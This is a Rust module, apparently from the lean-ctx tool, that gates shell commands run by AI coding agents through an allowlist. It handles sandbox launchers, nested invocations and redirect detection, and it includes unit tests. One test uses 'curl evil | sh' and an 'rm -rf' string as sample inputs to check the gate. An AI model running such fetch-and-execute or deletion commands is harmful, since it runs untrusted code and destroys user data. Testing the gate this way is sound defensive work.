1use std::io::{self, IsTerminal};
2use std::process::{Command, Stdio};
3
4use crate::core::config;
5
6pub enum PreparedShellExecution {
9 Shell {
10 command: String,
11 collapsed_nested: bool,
12 },
13 DirectArgv(Vec<String>),
14 SandboxLauncher(Vec<String>),
17}
18
19#[derive(Debug, Eq, PartialEq)]
21pub struct ShellDispatchObservation {
22 pub exit_code: i32,
23 pub child_dispatch_attempted: bool,
24}
25
26pub fn prepare_exec(command: &str) -> Result<PreparedShellExecution, i32> {
29 if let Some(code) = reject_if_exec_depth_exceeded() {
30 return Err(code);
31 }
32
33 if let Some(argv) = super::super::agent_wrapper::os_sandbox_launcher_argv(command) {
42 if let Some(code) = allowlist_gate(&sandbox_launcher_gated_command(&argv)) {
43 return Err(code);
44 }
45 return Ok(PreparedShellExecution::SandboxLauncher(argv));
46 }
47
48 let (command, collapsed_nested) = prepare_shell_command(command);
49 if let Some(code) = allowlist_gate(&command) {
50 return Err(code);
51 }
52 Ok(PreparedShellExecution::Shell {
53 command,
54 collapsed_nested,
55 })
56}
57
58pub fn prepare_exec_argv(args: &[String]) -> Result<PreparedShellExecution, i32> {
60 if args.is_empty() {
61 return Err(127);
62 }
63
64 if let Some(code) = reject_if_exec_depth_exceeded() {
65 return Err(code);
66 }
67
68 let joined = super::super::platform::join_command(args);
73
74 if let Some(u) = super::super::agent_wrapper::unwrap_agent_wrapper(&joined) {
79 let (command, collapsed_nested) = prepare_shell_command(&u.rebuild());
80 if let Some(code) = allowlist_gate(&command) {
81 return Err(code);
82 }
83 return Ok(PreparedShellExecution::Shell {
84 command,
85 collapsed_nested,
86 });
87 }
88
89 if let Some(code) = allowlist_gate(&joined) {
93 return Err(code);
94 }
95
96 Ok(PreparedShellExecution::DirectArgv(args.to_vec()))
97}
98
99pub fn execute_prepared(prepared: PreparedShellExecution) -> ShellDispatchObservation {
104 let exit_code = match prepared {
105 PreparedShellExecution::Shell {
106 command,
107 collapsed_nested,
108 } => execute_shell_post_gate(&command, collapsed_nested),
109 PreparedShellExecution::DirectArgv(args) => execute_argv_post_gate(&args),
110 PreparedShellExecution::SandboxLauncher(argv) => exec_sandbox_launcher(&argv),
111 };
112
113 ShellDispatchObservation {
114 exit_code,
115 child_dispatch_attempted: true,
116 }
117}
118
119pub fn exec_argv(args: &[String]) -> i32 {
125 prepare_exec_argv(args)
126 .map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
127}
128
129fn execute_argv_post_gate(args: &[String]) -> i32 {
130 if super::super::reentry::should_pass_through() {
131 return exec_direct(args);
132 }
133
134 let cfg = config::Config::load();
135 let joined = super::super::platform::join_command(args);
136 let policy = super::super::output_policy::classify(&joined, &cfg.excluded_commands);
137
138 if policy.is_protected() {
139 let code = exec_direct(args);
140 crate::core::tool_lifecycle::record_shell_command(0, 0);
141 return code;
142 }
143
144 let code = exec_direct(args);
145 crate::core::tool_lifecycle::record_shell_command(0, 0);
146 code
147}
148
149fn reject_if_exec_depth_exceeded() -> Option<i32> {
160 if !super::super::reentry::exec_depth_exceeded() {
161 return None;
162 }
163 eprintln!(
164 "lean-ctx: refusing to nest further (depth >= {}) — a shell hook is re-firing inside a \
165 command lean-ctx already spawned. Running the command raw instead of risking a \
166 runaway process loop. If this persists, check for a duplicate/competing shell \
167 integration that also wraps commands through lean-ctx.",
168 super::super::reentry::MAX_EXEC_DEPTH
169 );
170 Some(126)
171}
172
173fn exec_direct(args: &[String]) -> i32 {
174 let mut cmd = Command::new(&args[0]);
175 cmd.args(&args[1..])
176 .stdin(Stdio::inherit())
177 .stdout(Stdio::inherit())
178 .stderr(Stdio::inherit());
179 super::super::reentry::mark_child(&mut cmd);
180 super::super::platform::apply_utf8_locale(&mut cmd);
181 let status = cmd.status();
182
183 match status {
184 Ok(s) => crate::shell::exit_status::exit_code(s),
185 Err(e) => {
186 tracing::error!("lean-ctx: failed to execute: {e}");
187 127
188 }
189 }
190}
191
192fn allowlist_must_enforce() -> bool {
211 let hook_child = crate::core::runtime_flags::hook_child_enabled();
212 let warn_only = crate::core::config::shell_policy::cli_warn_only_requested();
213 let interactive = io::stderr().is_terminal() && crate::core::host_env::stdin_is_terminal();
214 allowlist_must_enforce_inner(hook_child, agent_host_marker(), warn_only, interactive)
215}
216
217fn agent_host_marker() -> bool {
219 [
220 "CLAUDECODE",
221 "CLAUDE_CODE_ENTRYPOINT",
222 "CODEX_THREAD_ID",
223 "CODEX_SANDBOX",
224 "CURSOR_TASK_ID",
225 "CURSOR_AGENT",
226 "GEMINI_CLI",
227 ]
228 .iter()
229 .any(|key| std::env::var_os(key).is_some_and(|v| !v.is_empty()))
230}
231
232#[allow(clippy::fn_params_excessive_bools)]
235fn allowlist_must_enforce_inner(
236 hook_child: bool,
237 agent_shell: bool,
238 warn_only: bool,
239 interactive: bool,
240) -> bool {
241 if hook_child {
242 return true;
243 }
244 if warn_only {
245 return false;
246 }
247 agent_shell || !interactive
248}
249
250fn stdout_is_regular_file() -> bool {
263 #[cfg(unix)]
264 {
265 use std::os::unix::io::{AsRawFd, FromRawFd};
266 let fd = io::stdout().as_raw_fd();
267 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_fd(fd) });
270 file.metadata().is_ok_and(|m| m.is_file())
271 }
272 #[cfg(windows)]
273 {
274 use std::os::windows::io::{AsRawHandle, FromRawHandle};
275 let handle = io::stdout().as_raw_handle();
276 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_handle(handle) });
279 file.metadata().is_ok_and(|m| m.is_file())
280 }
281 #[cfg(not(any(unix, windows)))]
282 {
283 false
284 }
285}
286
287fn command_has_file_redirect(cmd: &str) -> bool {
291 let bytes = cmd.as_bytes();
292 let len = bytes.len();
293 let mut i = 0;
294 let mut in_single_quote = false;
295 let mut in_double_quote = false;
296
297 while i < len {
298 let c = bytes[i];
299 if c == b'\\' && !in_single_quote {
300 i += 2;
301 continue;
302 }
303 if c == b'\'' && !in_double_quote {
304 in_single_quote = !in_single_quote;
305 } else if c == b'"' && !in_single_quote {
306 in_double_quote = !in_double_quote;
307 } else if c == b'>' && !in_single_quote && !in_double_quote {
308 if i > 0 && bytes[i - 1] == b'2' {
309 i += 1;
310 continue;
311 }
312 let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
313 i + 2
314 } else {
315 i + 1
316 };
317 let target: String = cmd[target_start..]
318 .trim_start()
319 .chars()
320 .take_while(|c| !c.is_whitespace())
321 .collect();
322 if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
323 i += 1;
324 continue;
325 }
326 if let Some(fd) = target.strip_prefix('&')
327 && !fd.is_empty()
328 && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
329 {
330 i += 1;
331 continue;
332 }
333 if !target.is_empty() {
334 return true;
335 }
336 }
337 i += 1;
338 }
339 false
340}
341
342pub fn allowlist_gate(command: &str) -> Option<i32> {
354 if let Err(msg) = crate::core::shell_allowlist::check_shell_allowlist(command) {
355 if allowlist_must_enforce() {
356 eprintln!("{msg}");
357 eprintln!(
358 "lean-ctx: command blocked by shell allowlist. \
359 To allow it, run `lean-ctx allow <cmd>` in your own terminal \
360 (or set shell_security = \"warn\" in your config.toml)."
361 );
362 return Some(126);
363 }
364 let reason = crate::core::shell_allowlist::warn_only_reason(msg.message());
370 if io::stderr().is_terminal() {
371 tracing::debug!("[CLI] Command would be blocked in MCP mode: {reason}");
372 } else {
373 tracing::info!("[CLI] Command would be blocked in MCP mode; it ran ({reason})");
374 }
375 }
376 None
377}
378
379pub fn exec(command: &str) -> i32 {
380 prepare_exec(command).map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
381}
382
383fn prepare_shell_command(command: &str) -> (String, bool) {
384 let unwrapped = super::super::agent_wrapper::unwrap_agent_wrapper(command).map(|u| u.rebuild());
390 let mut collapsed_nested = false;
391 let collapsed;
392 let command = unwrapped.as_deref().unwrap_or(command);
393 let command = if let Some(c) = collapse_nested_lean_ctx_exec(command) {
394 collapsed_nested = true;
395 collapsed = c;
396 collapsed.as_str()
397 } else {
398 command
399 };
400
401 (command.to_string(), collapsed_nested)
402}
403
404fn execute_shell_post_gate(command: &str, collapsed_nested: bool) -> i32 {
405 let (shell, shell_flag) = super::super::platform::shell_and_flag();
406 let command = crate::shell::command_text::normalize_command_for_shell(command);
407 let command = command.as_str();
414
415 if super::super::reentry::is_disabled() {
416 return exec_inherit(command, &shell, &shell_flag);
417 }
418 if should_delegate_wrapped_to_shell_default(collapsed_nested) {
419 return exec_shell_default(command, &shell, &shell_flag);
420 }
421
422 let cfg = config::Config::load();
423 let force_compress = crate::core::runtime_flags::compress_enabled();
424 let raw_mode = crate::core::runtime_flags::raw_enabled();
425
426 if raw_mode {
427 return exec_inherit_tracked(command, &shell, &shell_flag);
428 }
429
430 let policy = super::super::output_policy::classify(command, &cfg.excluded_commands);
431
432 if policy == super::super::output_policy::OutputPolicy::Passthrough {
434 return exec_inherit_tracked(command, &shell, &shell_flag);
435 }
436
437 if policy == super::super::output_policy::OutputPolicy::Verbatim && !force_compress {
441 return exec_inherit_tracked(command, &shell, &shell_flag);
442 }
443
444 if !force_compress {
445 if io::stdout().is_terminal() {
446 return exec_inherit_tracked(command, &shell, &shell_flag);
447 }
448 let code = exec_inherit(command, &shell, &shell_flag);
449 crate::core::tool_lifecycle::record_shell_command(0, 0);
450 return code;
451 }
452
453 if stdout_is_regular_file() {
462 return exec_inherit_tracked(command, &shell, &shell_flag);
463 }
464
465 if command_has_file_redirect(command) {
472 return exec_inherit_tracked(command, &shell, &shell_flag);
473 }
474
475 super::super::pipeline::exec_buffered(command, &shell, &shell_flag, &cfg)
476}
477
478fn collapse_nested_lean_ctx_exec(command: &str) -> Option<String> {
479 let mut current = command.trim().to_string();
480 let mut changed = false;
481
482 while let Some(next) = strip_one_lean_ctx_exec(¤t) {
483 if next == current {
484 break;
485 }
486 current = next;
487 changed = true;
488 }
489
490 changed.then_some(current)
491}
492
493fn should_delegate_wrapped_to_shell_default(collapsed_nested: bool) -> bool {
494 super::super::reentry::is_wrapped() && !collapsed_nested
498}
499
500fn strip_one_lean_ctx_exec(command: &str) -> Option<String> {
501 let words = split_simple_shell_words(command)?;
502 if words.len() < 3 || !is_lean_ctx_bin(&words[0].value) {
503 return None;
504 }
505 if words[1].value != "-c" && words[1].value != "exec" {
506 return None;
507 }
508 if words[2..].iter().any(|w| {
509 matches!(
510 w.value.as_str(),
511 "|" | "||" | "&" | "&&" | ";" | "<" | ">" | ">>"
512 )
513 }) {
514 return None;
515 }
516 if words.len() == 3 {
517 Some(words[2].value.trim().to_string())
518 } else {
519 Some(command[words[2].start..].trim().to_string())
520 }
521}
522
523fn is_lean_ctx_bin(word: &str) -> bool {
524 std::path::Path::new(word)
525 .file_name()
526 .and_then(|name| name.to_str())
527 .is_some_and(|name| name == "lean-ctx" || name == "lean-ctx.exe")
528}
529
530struct SimpleShellWord {
531 value: String,
532 start: usize,
533}
534
535fn split_simple_shell_words(command: &str) -> Option<Vec<SimpleShellWord>> {
536 let mut words = Vec::new();
537 let mut current = String::new();
538 let mut current_start: Option<usize> = None;
539 let mut chars = command.char_indices().peekable();
540 let mut quote: Option<char> = None;
541
542 while let Some((idx, ch)) = chars.next() {
543 match quote {
544 Some('\'') if ch == '\'' => quote = None,
545 Some('"') if ch == '"' => quote = None,
546 None if ch == '\'' || ch == '"' => {
547 current_start.get_or_insert(idx);
548 quote = Some(ch);
549 }
550 Some('"') | None if ch == '\\' => {
551 current_start.get_or_insert(idx);
552 if let Some((_, next)) = chars.next() {
553 current.push(next);
554 }
555 }
556 None if ch.is_whitespace() => {
557 if let Some(start) = current_start.take() {
558 words.push(SimpleShellWord {
559 value: std::mem::take(&mut current),
560 start,
561 });
562 }
563 }
564 Some(_) | None => {
565 current_start.get_or_insert(idx);
566 current.push(ch);
567 }
568 }
569 }
570
571 if quote.is_some() {
572 return None;
573 }
574 if let Some(start) = current_start {
575 words.push(SimpleShellWord {
576 value: current,
577 start,
578 });
579 }
580 (!words.is_empty()).then_some(words)
581}
582
583fn sandbox_launcher_gated_command(argv: &[String]) -> String {
588 let script = argv.last().map_or("", String::as_str);
589 super::super::agent_wrapper::unwrap_agent_wrapper(script)
590 .map_or_else(|| script.to_string(), |u| u.rebuild())
591}
592
593fn exec_sandbox_launcher(argv: &[String]) -> i32 {
601 match sandbox_launcher_command(argv).status() {
602 Ok(s) => crate::shell::exit_status::exit_code(s),
603 Err(e) => {
604 tracing::error!("lean-ctx: failed to execute sandbox launcher: {e}");
605 127
606 }
607 }
608}
609
610fn sandbox_launcher_command(argv: &[String]) -> Command {
611 let mut cmd = Command::new(&argv[0]);
612 cmd.args(&argv[1..])
613 .stdin(Stdio::inherit())
614 .stdout(Stdio::inherit())
615 .stderr(Stdio::inherit());
616 super::super::reentry::clear_shell_default_markers(&mut cmd);
617 super::super::reentry::stamp_exec_depth(&mut cmd);
618 super::super::platform::apply_utf8_locale(&mut cmd);
619 cmd
620}
621
622fn exec_inherit(command: &str, shell: &str, shell_flag: &str) -> i32 {
623 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
626 let mut cmd = Command::new(shell);
627 cmd.arg(shell_flag)
628 .arg(&spawn_command)
629 .stdin(Stdio::inherit())
630 .stdout(Stdio::inherit())
631 .stderr(Stdio::inherit());
632 super::super::reentry::mark_child(&mut cmd);
633 super::super::platform::apply_utf8_locale(&mut cmd);
634 super::super::platform::apply_profile_free_env(&mut cmd);
635 let status = cmd.status();
636
637 match status {
638 Ok(s) => crate::shell::exit_status::exit_code(s),
639 Err(e) => {
640 tracing::error!("lean-ctx: failed to execute: {e}");
641 127
642 }
643 }
644}
645
646fn exec_shell_default(command: &str, shell: &str, shell_flag: &str) -> i32 {
647 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
648 let mut cmd = Command::new(shell);
649 cmd.arg(shell_flag)
650 .arg(&spawn_command)
651 .stdin(Stdio::inherit())
652 .stdout(Stdio::inherit())
653 .stderr(Stdio::inherit());
654 super::super::reentry::clear_shell_default_markers(&mut cmd);
655 super::super::reentry::stamp_exec_depth(&mut cmd);
656 super::super::platform::apply_utf8_locale(&mut cmd);
657 super::super::platform::apply_profile_free_env(&mut cmd);
658 let status = cmd.status();
659
660 match status {
661 Ok(s) => crate::shell::exit_status::exit_code(s),
662 Err(e) => {
663 eprintln!("lean-ctx: failed to execute '{command}': {e}");
664 127
665 }
666 }
667}
668
669fn exec_inherit_tracked(command: &str, shell: &str, shell_flag: &str) -> i32 {
670 let code = exec_inherit(command, shell, shell_flag);
671 crate::core::tool_lifecycle::record_shell_command(0, 0);
672 code
673}
674
675pub const STDERR_LABEL: &str = "--- stderr ---";
679
680pub fn combine_streams(stdout: &str, stderr: &str, exit_code: i32) -> String {
684 match (stdout.is_empty(), stderr.is_empty()) {
685 (_, true) => stdout.to_string(),
686 (true, false) => stderr.to_string(),
687 (false, false) if exit_code != 0 => format!("{stdout}\n{STDERR_LABEL}\n{stderr}"),
688 (false, false) => format!("{stdout}\n{stderr}"),
689 }
690}
691
692#[cfg(test)]
695mod nested_lean_ctx_exec_tests;
696
697#[cfg(test)]
698mod exec_tests {
699 #[test]
700 fn combine_streams_labels_stderr_on_failure() {
701 let out = super::combine_streams("build ok", "linker: undefined symbol", 1);
702 assert_eq!(
703 out,
704 format!(
705 "build ok\n{}\nlinker: undefined symbol",
706 super::STDERR_LABEL
707 )
708 );
709 }
710
711 #[test]
712 fn combine_streams_plain_join_on_success() {
713 let out = super::combine_streams("step 1", "warning: noop", 0);
714 assert_eq!(out, "step 1\nwarning: noop");
715 assert!(!out.contains(super::STDERR_LABEL));
716 }
717
718 #[test]
719 fn combine_streams_single_stream_is_unchanged() {
720 assert_eq!(super::combine_streams("only stdout", "", 1), "only stdout");
721 assert_eq!(super::combine_streams("", "only stderr", 1), "only stderr");
722 }
723
724 #[test]
725 fn exec_direct_runs_true() {
726 let code = super::exec_direct(&["true".to_string()]);
727 assert_eq!(code, 0);
728 }
729
730 #[test]
731 fn exec_direct_runs_false() {
732 let code = super::exec_direct(&["false".to_string()]);
733 assert_ne!(code, 0);
734 }
735
736 #[test]
737 fn exec_direct_preserves_args_with_special_chars() {
738 let code = super::exec_direct(&[
739 "echo".to_string(),
740 "hello world".to_string(),
741 "it's here".to_string(),
742 "a \"quoted\" thing".to_string(),
743 ]);
744 assert_eq!(code, 0);
745 }
746
747 #[test]
748 fn exec_direct_nonexistent_returns_127() {
749 let code = super::exec_direct(&["__nonexistent_binary_12345__".to_string()]);
750 assert_eq!(code, 127);
751 }
752
753 #[test]
754 fn exec_argv_empty_returns_127() {
755 let code = super::exec_argv(&[]);
756 assert_eq!(code, 127);
757 }
758
759 #[test]
760 fn prepare_exec_denies_before_dispatch() {
761 let _lock = crate::core::data_dir::test_env_lock();
762 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
763 crate::test_env::remove_var("LEAN_CTX_DISABLED");
764 crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
765 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
766 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
767
768 let prepared = super::prepare_exec("xxd");
769
770 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
771 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
772
773 assert!(matches!(prepared, Err(126)));
774 }
775
776 #[test]
777 fn prepare_exec_argv_empty_returns_127() {
778 assert!(matches!(super::prepare_exec_argv(&[]), Err(127)));
779 }
780
781 #[test]
782 fn execute_prepared_spawn_failure_is_attempted() {
783 let _lock = crate::core::data_dir::test_env_lock();
784 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
785 crate::test_env::remove_var("LEAN_CTX_DISABLED");
786 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
787 crate::test_env::set_var(
788 "LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE",
789 "__lean_ctx_phase5_missing_binary__",
790 );
791
792 let prepared =
793 super::prepare_exec_argv(&["__lean_ctx_phase5_missing_binary__".to_string()])
794 .expect("test binary name is allowlisted");
795 let observation = super::execute_prepared(prepared);
796
797 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
798 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
799
800 assert_eq!(observation.exit_code, 127);
801 assert!(observation.child_dispatch_attempted);
802 }
803
804 #[test]
805 fn execute_prepared_reports_child_exit() {
806 let _lock = crate::core::data_dir::test_env_lock();
807 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
808 crate::test_env::remove_var("LEAN_CTX_DISABLED");
809 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
810 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
811
812 let prepared = super::prepare_exec_argv(&["true".to_string()]).unwrap();
813 let observation = super::execute_prepared(prepared);
814
815 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
816 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
817
818 assert_eq!(observation.exit_code, 0);
819 assert!(observation.child_dispatch_attempted);
820 }
821
822 #[test]
823 fn prepare_exec_argv_preserves_special_argument_bytes() {
824 let _lock = crate::core::data_dir::test_env_lock();
825 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
826 crate::test_env::remove_var("LEAN_CTX_DISABLED");
827 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
828 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "printf");
829 let args = vec![
830 "printf".to_string(),
831 "%s|%s|%s".to_string(),
832 "hello world".to_string(),
833 "it's here".to_string(),
834 "a \"quoted\" thing; $HOME".to_string(),
835 ];
836
837 let prepared = super::prepare_exec_argv(&args).unwrap();
838
839 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
840 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
841
842 match prepared {
843 super::PreparedShellExecution::DirectArgv(actual) => assert_eq!(actual, args),
844 super::PreparedShellExecution::Shell { .. }
845 | super::PreparedShellExecution::SandboxLauncher(_) => {
846 panic!("direct argv must not be reparsed as a shell command")
847 }
848 }
849 }
850
851 #[test]
852 fn compatibility_wrappers_match_for_allowlisted_command() {
853 let _lock = crate::core::data_dir::test_env_lock();
854 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
855 crate::test_env::remove_var("LEAN_CTX_DISABLED");
856 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
857 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
858 crate::test_env::set_var("LEAN_CTX_NO_HOOK", "1");
862
863 let shell_code = super::exec("true");
864 let argv_code = super::exec_argv(&["true".to_string()]);
865
866 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
867 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
868 crate::test_env::remove_var("LEAN_CTX_NO_HOOK");
869
870 assert_eq!(shell_code, argv_code);
871 }
872
873 #[test]
874 fn exec_argv_runs_simple_command() {
875 let _lock = crate::core::data_dir::test_env_lock();
876 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
877 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
878 let code = super::exec_argv(&["true".to_string()]);
879 assert_eq!(code, 0);
880 }
881
882 #[test]
883 fn exec_argv_passes_through_when_disabled() {
884 let _lock = crate::core::data_dir::test_env_lock();
885 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
886 crate::test_env::set_var("LEAN_CTX_DISABLED", "1");
887 let code = super::exec_argv(&["true".to_string()]);
888 crate::test_env::remove_var("LEAN_CTX_DISABLED");
889 assert_eq!(code, 0);
890 }
891
892 #[test]
896 fn exec_argv_enforces_allowlist_for_disallowed_command() {
897 let _lock = crate::core::data_dir::test_env_lock();
898 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
899 crate::test_env::remove_var("LEAN_CTX_DISABLED");
900 crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
901 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
903 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
904
905 let code = super::exec_argv(&["xxd".to_string()]);
908
909 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
910 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
911
912 assert_eq!(
913 code, 126,
914 "non-allowlisted command must be blocked on the -t track path"
915 );
916 }
917
918 #[test]
919 fn exec_argv_allows_allowlisted_command() {
920 let _lock = crate::core::data_dir::test_env_lock();
921 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
922 crate::test_env::remove_var("LEAN_CTX_DISABLED");
923 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
924 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
925
926 let code = super::exec_argv(&["true".to_string()]);
927
928 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
929 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
930
931 assert_eq!(code, 0, "allowlisted command must run on the -t track path");
932 }
933 #[test]
935 fn allowlist_enforces_in_hook_child_mode() {
936 assert!(super::allowlist_must_enforce_inner(
938 true, false, false, true
939 ));
940 assert!(super::allowlist_must_enforce_inner(true, false, true, true));
941 }
942
943 #[test]
944 fn allowlist_enforces_for_non_interactive_callers() {
945 assert!(super::allowlist_must_enforce_inner(
947 false, false, false, false
948 ));
949 }
950
951 #[test]
954 fn allowlist_enforces_for_agent_shells_with_a_terminal() {
955 assert!(super::allowlist_must_enforce_inner(
956 false, true, false, true
957 ));
958 }
959
960 #[test]
961 fn allowlist_warns_for_interactive_humans() {
962 assert!(!super::allowlist_must_enforce_inner(
964 false, false, false, true
965 ));
966 }
967
968 #[test]
969 fn allowlist_warn_only_opt_out_downgrades_non_interactive() {
970 assert!(!super::allowlist_must_enforce_inner(
972 false, false, true, false
973 ));
974 assert!(super::allowlist_must_enforce_inner(
975 true, false, true, false
976 ));
977 }
978
979 #[test]
982 fn redirect_to_file_detected() {
983 assert!(super::command_has_file_redirect("git show HEAD:f > out.md"));
984 assert!(super::command_has_file_redirect("git diff >> changes.log"));
985 assert!(super::command_has_file_redirect(
986 "git status > /tmp/status.txt"
987 ));
988 }
989
990 #[test]
991 fn no_redirect_not_detected() {
992 assert!(!super::command_has_file_redirect("git status"));
993 assert!(!super::command_has_file_redirect("cargo test --lib"));
994 }
995
996 #[test]
997 fn dev_null_not_detected_as_redirect() {
998 assert!(!super::command_has_file_redirect("cargo test > /dev/null"));
999 assert!(!super::command_has_file_redirect("cmd > /dev/stdout"));
1000 assert!(!super::command_has_file_redirect("cmd > /dev/stderr"));
1001 }
1002
1003 #[test]
1004 fn stderr_redirect_not_detected() {
1005 assert!(!super::command_has_file_redirect(
1006 "cargo test 2> errors.log"
1007 ));
1008 assert!(!super::command_has_file_redirect("cargo test 2>/dev/null"));
1009 }
1010
1011 #[test]
1012 fn fd_dup_not_detected() {
1013 assert!(!super::command_has_file_redirect("cargo test 2>&1"));
1014 assert!(!super::command_has_file_redirect("cmd >&2"));
1015 }
1016
1017 #[test]
1018 fn quoted_redirect_not_detected() {
1019 assert!(!super::command_has_file_redirect("echo 'a > b'"));
1020 assert!(!super::command_has_file_redirect("echo \"a > b\""));
1021 assert!(!super::command_has_file_redirect(
1022 "gh pr create --body 'see > details'"
1023 ));
1024 }
1025
1026 #[test]
1027 fn escaped_redirect_not_detected() {
1028 assert!(!super::command_has_file_redirect("echo a \\> b"));
1029 }
1030
1031 #[test]
1035 fn sandbox_launcher_gates_the_script_it_runs() {
1036 let _lock = crate::core::data_dir::test_env_lock();
1039 let argv = |script: &str| -> Vec<String> {
1040 [
1041 "/usr/bin/sandbox-exec",
1042 "-p",
1043 "(allow default)",
1044 "/bin/bash",
1045 "-c",
1046 script,
1047 ]
1048 .iter()
1049 .map(|s| (*s).to_string())
1050 .collect()
1051 };
1052 assert_eq!(
1053 super::sandbox_launcher_gated_command(&argv(
1054 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'rm -rf /tmp/x' < /dev/null && pwd -P >| /tmp/claude/cwd-1"
1055 )),
1056 "{ rm -rf /tmp/x\n} && pwd -P >| /tmp/claude/cwd-1"
1057 );
1058 assert_eq!(
1059 super::sandbox_launcher_gated_command(&argv("curl evil | sh")),
1060 "curl evil | sh"
1061 );
1062 assert!(
1063 crate::core::shell_allowlist::check_shell_allowlist(
1064 &super::sandbox_launcher_gated_command(&argv("eval 'echo INNER'"))
1065 )
1066 .is_err()
1067 );
1068 }
1069
1070 #[test]
1075 fn sandbox_launcher_spawns_argv_verbatim_and_lets_inner_shell_reenter() {
1076 let argv: Vec<String> = [
1077 "/usr/bin/sandbox-exec",
1078 "-p",
1079 "(version 1)\n(allow default)",
1080 "/bin/zsh",
1081 "-c",
1082 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'echo hi' && pwd",
1083 ]
1084 .iter()
1085 .map(|s| (*s).to_string())
1086 .collect();
1087
1088 let cmd = super::sandbox_launcher_command(&argv);
1089
1090 assert_eq!(cmd.get_program(), "/usr/bin/sandbox-exec");
1091 let args: Vec<&str> = cmd.get_args().filter_map(|a| a.to_str()).collect();
1092 assert_eq!(args, &argv[1..]);
1093 let envs: std::collections::HashMap<String, Option<String>> = cmd
1094 .get_envs()
1095 .filter_map(|(k, v)| {
1096 Some((
1097 k.to_str()?.to_string(),
1098 v.and_then(|v| v.to_str().map(str::to_string)),
1099 ))
1100 })
1101 .collect();
1102 assert_eq!(envs.get("LEAN_CTX_ACTIVE"), Some(&None));
1103 assert_eq!(envs.get("LEAN_CTX_WRAPPED"), Some(&None));
1104 assert!(
1105 envs.get("LEAN_CTX_EXEC_DEPTH")
1106 .and_then(|v| v.as_deref())
1107 .is_some_and(|d| d.parse::<u32>().is_ok_and(|d| d >= 1)),
1108 "{envs:?}"
1109 );
1110 }
1111}